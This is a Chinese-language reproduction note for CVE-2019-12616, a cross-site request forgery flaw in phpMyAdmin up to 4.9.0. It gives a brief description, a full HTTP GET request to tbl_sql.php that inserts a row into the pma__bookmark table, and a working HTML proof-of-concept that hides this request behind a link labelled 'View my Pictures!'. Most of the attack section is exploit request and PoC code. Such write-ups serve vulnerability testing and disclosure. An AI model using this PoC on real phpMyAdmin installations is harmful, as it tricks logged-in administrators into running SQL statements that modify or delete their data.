# （CVE-2019-12616）Phpmyadmin CSRF

## 一、漏洞简介

4.9.0之前在phpmyadmin中发现了一个问题。发现一个漏洞，允许攻击者对phpMyAdmin用户触发CSRF攻击。攻击者可以欺骗用户。

例如通过指向受害者的phpMyAdmin数据库的一个损坏的<img>标记，并且攻击者可以潜在地将有效负载（例如特定的插入或删除语句）传递给受害者。

## 二、漏洞影响

Phpmyadmin <= 4.9.0

## 三、复现过程

GET http://www.0-sec.org:9000/tbl\_sql.php?sql\_query=INSERT+INTO+%60pma\_\_bookmark%60+(%60id%60%2C+%60dbase%60%2C+%60user%60%2C+%60label%60%2C+%60query%60)+VALUES+(DAYOFWEEK(%27%27)%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27)&show\_query=1&db=phpmyadmin&table=pma\_\_bookmark HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Cookie: pmaCookieVer=5; pma\_lang=en; pma\_collation\_connection=utf8mb4\_unicode\_ci; pmaUser-1=%7B%22iv%22%3A%22M16ZzlA0rqF9BZ1jFsssjQ%3D%3D%22%2C%22mac%22%3A%22804941d12fceca0997e181cbcb8427d68c668240%22%2C%22payload%22%3A%22mD9juTxAYhC7lA7XPWHWOw%3D%3D%22%7D; phpMyAdmin=9bdd66557e399fc1447bf253bc2dc133
Upgrade-Insecure-Requests: 1
Host: localhost:9000

攻击者可以很容易地创建一个假超链接，其中包含希望代表用户执行的请求，这样就可能由于错误地使用http方法而导致csrf攻击

#POC
<!doctype html>

<html lang="en">
<head>
 <meta charset="utf-8">
 <title>POC CVE-2019-12616</title>
</head>

<body>
<a href="http://www.0-sec.org:9000/tbl\_sql.php?sql\_query=INSERT+INTO+`pma\_\_bookmark`+(`id`%2C+`dbase`%2C+`user`%2C+`label`%2C+`query`)+VALUES+(DAYOFWEEK('')%2C+''%2C+''%2C+''%2C+'')&show\_query=1&db=phpmyadmin&table=pma\_\_bookmark">View my Pictures!</a>
</body>
</html>